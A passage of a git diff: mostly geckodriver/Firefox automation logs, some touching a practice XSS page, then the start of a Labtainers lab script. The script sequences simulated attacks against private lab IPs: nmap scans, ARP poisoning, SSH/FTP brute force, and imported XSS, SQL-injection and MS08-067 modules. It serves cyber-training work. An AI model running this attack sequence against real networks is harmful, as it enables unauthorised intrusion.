Using profile path /tmp/rust_mozprofile.AOHJx6ACBjpD +1481241093349 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481241093358 geckodriver::marionette INFO Connecting to Marionette on localhost:36319 +1481241097371 geckodriver INFO Listening on 127.0.0.1:36079 +1481241097392 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.9ADqGVobHkie +1481241097392 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1481241097402 geckodriver::marionette INFO Connecting to Marionette on localhost:46527 +1481241157059 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1481241160600 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1482251843418 geckodriver INFO Listening on 127.0.0.1:36055 +1482251844427 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.SOT8hDsNDIaC +1482251844428 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482251844439 geckodriver::marionette INFO Connecting to Marionette on localhost:36315 +1482251848535 geckodriver INFO Listening on 127.0.0.1:56223 +1482251849531 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.S3ZdJfFjRnxM +1482251849532 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482251849534 geckodriver::marionette INFO Connecting to Marionette on localhost:40905 +1482251908275 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1482251914758 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1482253127881 geckodriver INFO Listening on 127.0.0.1:58269 +1482253128892 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.wEKHst8QJr32 +1482253128893 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482253128901 geckodriver::marionette INFO Connecting to Marionette on localhost:41297 +1482253132812 geckodriver INFO Listening on 127.0.0.1:57633 +1482253133801 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.VHTTUJBwtKyc +1482253133802 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482253133804 geckodriver::marionette INFO Connecting to Marionette on localhost:43089 +1482253192557 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1482253197042 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1482253395073 geckodriver INFO Listening on 127.0.0.1:55093 +1482253396079 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.JTn9J7JsCeBn +1482253396080 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482253396089 geckodriver::marionette INFO Connecting to Marionette on localhost:36569 +1482253401028 geckodriver INFO Listening on 127.0.0.1:55203 +1482253402027 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.dqjoIhNBKksd +1482253402027 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482253402029 geckodriver::marionette INFO Connecting to Marionette on localhost:41637 +1482253460703 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1482253465349 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1482351167126 geckodriver INFO Listening on 127.0.0.1:47485 +1482351168117 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.WQF7F0JyS7zo +1482351168129 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482351168131 geckodriver::marionette INFO Connecting to Marionette on localhost:41397 +1482351174465 geckodriver INFO Listening on 127.0.0.1:36001 +1482351175453 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.qu6wJXcxCgjz +1482351175454 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482351175463 geckodriver::marionette INFO Connecting to Marionette on localhost:43375 +1482352411680 geckodriver INFO Listening on 127.0.0.1:58485 +1482352412683 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.iC35EBemQCNs +1482352412684 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482352412691 geckodriver::marionette INFO Connecting to Marionette on localhost:43223 +1482352417762 geckodriver INFO Listening on 127.0.0.1:41883 +1482352418745 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.VyZ0FCdClMPk +1482352418745 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482352418747 geckodriver::marionette INFO Connecting to Marionette on localhost:39961 +1482352587933 geckodriver INFO Listening on 127.0.0.1:37183 +1482352588930 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.ihNGkDcFHt3t +1482352588931 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482352588942 geckodriver::marionette INFO Connecting to Marionette on localhost:33785 +1482352594025 geckodriver INFO Listening on 127.0.0.1:48703 +1482352595016 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.AQtVJj4MsIl9 +1482352595017 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1482352595024 geckodriver::marionette INFO Connecting to Marionette on localhost:33547 +1483662087476 geckodriver INFO Listening on 127.0.0.1:35543 +1483662088484 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.56d1Cb8gkKh2 +1483662088485 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1483662088493 geckodriver::marionette INFO Connecting to Marionette on localhost:44683 +1483662092727 geckodriver INFO Listening on 127.0.0.1:42195 +1483662093717 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.EmnnzRnhlhE3 +1483662093717 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1483662093719 geckodriver::marionette INFO Connecting to Marionette on localhost:39681 +1483662152458 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1483662158573 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1484068603115 geckodriver INFO Listening on 127.0.0.1:32851 +1484068604125 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.IZ1zp4SXoeki +1484068604126 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1484068604137 geckodriver::marionette INFO Connecting to Marionette on localhost:32935 +1484068611001 geckodriver INFO Listening on 127.0.0.1:60935 +1484068612004 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.kkFuG7Pnqe43 +1484068612004 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1484068612009 geckodriver::marionette INFO Connecting to Marionette on localhost:36407 +1485902148277 geckodriver INFO Listening on 127.0.0.1:60875 +1485902149281 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.HkQDrpjzSPgX +1485902149282 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485902149290 geckodriver::marionette INFO Connecting to Marionette on localhost:45225 +1485902153492 geckodriver INFO Listening on 127.0.0.1:58687 +1485902154478 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.aTm4y7488bV4 +1485902154479 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485902154481 geckodriver::marionette INFO Connecting to Marionette on localhost:36329 +1485902213231 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1485902218563 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1485908773880 geckodriver INFO Listening on 127.0.0.1:34337 +1485908774887 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.G9WSZ5YcVg0p +1485908774888 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485908774896 geckodriver::marionette INFO Connecting to Marionette on localhost:35259 +1485908779713 geckodriver INFO Listening on 127.0.0.1:41443 +1485908780705 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Asz5ljb9m7Lm +1485908780706 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485908780708 geckodriver::marionette INFO Connecting to Marionette on localhost:39547 +1485908839408 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1485908845718 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1485909607646 geckodriver INFO Listening on 127.0.0.1:60975 +1485909608650 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.WKkNpp3B3xHp +1485909608651 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485909608658 geckodriver::marionette INFO Connecting to Marionette on localhost:43967 +1485909613981 geckodriver INFO Listening on 127.0.0.1:46185 +1485909614950 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.vXhADxRTHEV7 +1485909614952 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485909614955 geckodriver::marionette INFO Connecting to Marionette on localhost:37807 +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1485970070376 geckodriver INFO Listening on 127.0.0.1:36487 +1485970071387 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.J9jDlVCjNb18 +1485970071388 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485970071397 geckodriver::marionette INFO Connecting to Marionette on localhost:37569 +1485970078318 geckodriver INFO Listening on 127.0.0.1:39667 +1485970079339 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.4QXkew9zAWwY +1485970079342 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485970079362 geckodriver::marionette INFO Connecting to Marionette on localhost:42441 +1485970137669 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1485970147275 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1485971899022 geckodriver INFO Listening on 127.0.0.1:60865 +1485971900025 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.BeoEMOLpzeDb +1485971900026 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485971900036 geckodriver::marionette INFO Connecting to Marionette on localhost:40397 +1485971957748 geckodriver INFO Listening on 127.0.0.1:57649 +1485971958750 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.RfO3kxKfzMIU +1485971958752 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485971958755 geckodriver::marionette INFO Connecting to Marionette on localhost:33155 +1485971963920 geckodriver INFO Listening on 127.0.0.1:53595 +1485971964879 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.mtIukDSygHLP +1485971964881 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485971964888 geckodriver::marionette INFO Connecting to Marionette on localhost:41905 +1485972023574 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1485972030235 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1485988307052 geckodriver INFO Listening on 127.0.0.1:48309 +1485988308060 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Nd4Fp0laHC3m +1485988308061 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485988308069 geckodriver::marionette INFO Connecting to Marionette on localhost:32919 +1485988313413 geckodriver INFO Listening on 127.0.0.1:54545 +1485988314396 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.h2yU0d8AHAxo +1485988314398 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1485988314405 geckodriver::marionette INFO Connecting to Marionette on localhost:36521 +1485988373083 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1485988378690 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1486421262103 geckodriver INFO Listening on 127.0.0.1:59127 +1486421263101 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.kRb9S7j48MDd +1486421263102 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1486421263104 geckodriver::marionette INFO Connecting to Marionette on localhost:40739 +1486421266882 geckodriver INFO Listening on 127.0.0.1:41825 +1486421267885 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.3x5nHTPGU7vr +1486421267886 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1486421267888 geckodriver::marionette INFO Connecting to Marionette on localhost:43933 +1486675006811 geckodriver INFO Listening on 127.0.0.1:52691 +1486675007789 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.WXqBG5KUcdMy +1486675007789 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1486675007798 geckodriver::marionette INFO Connecting to Marionette on localhost:34313 +1486675012480 geckodriver INFO Listening on 127.0.0.1:37929 +1486675013481 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.VGFepkXBXciY +1486675013482 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1486675013485 geckodriver::marionette INFO Connecting to Marionette on localhost:43083 +1486675072165 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1486675079057 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +firefox: Fatal IO error 11 (Resource temporarily unavailable) on X server :0. +1486675426144 geckodriver INFO Listening on 127.0.0.1:49639 +1486675427145 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Uip2PAnzYoGi +1486675427146 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1486675427155 geckodriver::marionette INFO Connecting to Marionette on localhost:40311 +1486675434146 geckodriver INFO Listening on 127.0.0.1:50965 +1486675435108 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.kXFVETU8tKJw +1486675435109 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1486675435111 geckodriver::marionette INFO Connecting to Marionette on localhost:37601 +1486675493721 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1486675499776 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] + +(firefox:1309): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1486675507125 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput + +(firefox:1309): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1486675514231 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput + +(firefox:1309): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1486675549572 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675558022 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675566328 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675574497 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675582768 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675674823 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675674953 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className: +JavaScript error: http://192.168.1.20/vulnerabilities/xss_s/, line 1: ReferenceError: checkForm is not defined +1486675703276 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675703363 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className: +JavaScript error: http://192.168.1.20/vulnerabilities/xss_s/, line 1: ReferenceError: checkForm is not defined +1486675731698 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675731766 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className: +JavaScript error: http://192.168.1.20/vulnerabilities/xss_s/, line 1: ReferenceError: checkForm is not defined +1486675760353 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: + +(firefox:1371): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1486675805306 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput + +(firefox:1371): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1486675816416 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput + +(firefox:1371): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed + +(firefox:1371): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1486675873564 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675893951 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675914244 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675934441 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675954694 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675974981 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486675995315 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1486676015995 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1487803590305 geckodriver INFO Listening on 127.0.0.1:38365 +1487803591355 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.pQoupGXc2UHj +1487803591355 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1487803591371 geckodriver::marionette INFO Connecting to Marionette on localhost:41333 +1487803596961 geckodriver INFO Listening on 127.0.0.1:43921 +1487803597959 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.IiNTO2Y7FVB9 +1487803597961 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1487803597963 geckodriver::marionette INFO Connecting to Marionette on localhost:36383 +1487803656717 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1487803659786 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1488327890750 geckodriver INFO Listening on 127.0.0.1:58247 +1488327891727 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.4BiR6kn5PBC3 +1488327891729 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1488327891754 geckodriver::marionette INFO Connecting to Marionette on localhost:46309 +1488327897691 geckodriver INFO Listening on 127.0.0.1:35933 +1488327898690 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.fufc5NjyKfKa +1488327898692 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1488327898696 geckodriver::marionette INFO Connecting to Marionette on localhost:35969 +1488327957451 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1488327961469 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] + +(firefox:3869): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1488331905193 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput + +(firefox:3869): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1488331916243 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput + +(firefox:3869): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1488331971561 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488331984709 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488331997899 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332011035 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332024199 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332178664 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332178719 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className: +JavaScript error: http://192.168.1.20/vulnerabilities/xss_s/, line 1: ReferenceError: checkForm is not defined +1488332222980 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332223036 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className: +JavaScript error: http://192.168.1.20/vulnerabilities/xss_s/, line 1: ReferenceError: checkForm is not defined +1488332267260 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332267314 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className: +JavaScript error: http://192.168.1.20/vulnerabilities/xss_s/, line 1: ReferenceError: checkForm is not defined +1488332311738 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: + +(firefox:3921): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1488332649766 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput + +(firefox:3921): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1488332668824 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput +1488332763549 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332795709 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332827921 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332860107 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332892296 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332924524 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332956809 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488332989267 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: +1488388340116 geckodriver INFO Listening on 127.0.0.1:46475 +1488388341112 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.AejBu2JsqkQc +1488388341112 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1488388341115 geckodriver::marionette INFO Connecting to Marionette on localhost:36559 +1488388344952 geckodriver INFO Listening on 127.0.0.1:32825 +1488388345942 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.ENsYTJ7zXeIF +1488388345942 geckodriver::marionette INFO Starting browser /usr/bin/firefox +1488388345945 geckodriver::marionette INFO Connecting to Marionette on localhost:44565 +1488388404657 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] +1488388409482 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no] + +(firefox:6261): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1488392107477 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput + +(firefox:6261): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed +1488392118544 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/main.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/main.py new file mode 100755 index 000000000..8e084e13e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/main.py @@ -0,0 +1,281 @@ +from os import * +import os +import sys +import netifaces as ni +import time +from random import randint +import subprocess +import datetime +from datetime import timedelta + +# IMPORT MODULES +import setup as s +import scans # nmap scans and discovery +import mitm +import attacks # catch-all file for short attacks. +import winxp # contains ms08_067 +from xss import xss +from sql import sql_injection +#from traffic import simulate_traffic + + +# ALIASING +printtime = s.printtime +printexpect = s.printexpect +getip = s.getip +log = s.log + + + +# MAIN GLOBALS # +startip = 1 + +# Initialize the attacks +def initialize(): + + global attack_no + global attack_1 + global attack_2 + global attack_3 + global attack_4 + global attack_5 + global attack_6 + global attack_7 + global attack_8 + global attack_9 + global attack_10 + global attack_11 + + attack_no = [1] + attack_no[0] = 1 # counter for attack numbers + + # This is where we define the attacks for the scenario + + # Attack #1 + attack_1 = scans.nmap_os # nmap OS discovery scans + attack_1.time = 3 # length of attack in minutes + attack_1.kali = s.kali1 # kali machine responsible for the attack + attack_1.ip = '192.168.1.43' + + # Attack #2 + attack_2 = scans.nmap_stealth # nmap stealth scans + attack_2.time = 3 + attack_2.kali = s.kali1 + attack_2.ip = '192.168.1.154' + + # Attack #3 + attack_3 = scans.nmap_proxychains # nmap proxychains + attack_3.time = 0 + attack_3.kali = s.kali1 + attack_3.ip = '192.168.1.68' + + # Attack #4 + attack_4 = attacks.arp_poison # MITM: arp poisoning + attack_4.time = 5 + attack_4.kali = s.kali1 + attack_4.ip = '192.168.1.72' + + # Attack #5 + attack_5 = attacks.ftp_https # 16-21 ftp transfers behind proxies + attack_5.time = 0 + attack_5.kali = s.kali1 + attack_5.ip = '192.168.1.81' + + # Attack #6 + attack_6 = attacks.ssh_brute # 23-28 ssh distributed brute force + attack_6.time = 0 + attack_6.kali = s.kali1 + attack_6.ip = '192.168.1.99' + + # Attack #7 + attack_7 = attacks.ftp_brute # 28-33 ftp brute force + attack_7.time = 5 + attack_7.kali = s.kali1 + attack_7.ip = '192.168.1.127' + + # Attack #8 + 